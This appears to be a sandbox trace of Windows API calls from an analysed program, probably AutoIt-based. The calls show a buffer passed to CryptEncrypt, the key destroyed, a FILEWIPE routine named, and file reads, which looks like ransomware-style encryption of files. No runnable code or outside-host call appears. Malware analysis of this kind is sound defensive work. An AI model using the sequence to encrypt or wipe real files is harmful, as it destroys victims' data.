CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.140] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.141] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.141] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18de4, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18df0) returned 1 [0025.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.141] CharLowerBuffW (in: lpsz="byte[101873]", cchLength=0xc | out: lpsz="byte[101873]") returned 0xc [0025.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.143] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.143] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.145] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41b97a0*, pdwDataLen=0xe8f3dfdf68*=0x18de4, dwBufLen=0x18df0 | out: pbData=0xe8f41b97a0*, pdwDataLen=0xe8f3dfdf68*=0x18df0) returned 1 [0025.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.145] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.146] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.146] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.151] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.151] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.151] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.153] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.153] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.153] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.153] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.154] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.154] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.154] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.157] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.157] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.157] CharLowerBuffW (in: lpsz="byte[101860]", cchLength=0xc | out: lpsz="byte[101860]") returned 0xc [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.158] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.158] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.158] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.159] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.159] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.160] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.160] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.160] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.160] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.160] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.160] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.161] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.161] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4595) returned 1 [0025.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.161] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.161] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x11f3, lpOverlapped=0x0) returned 1 [0025.162] 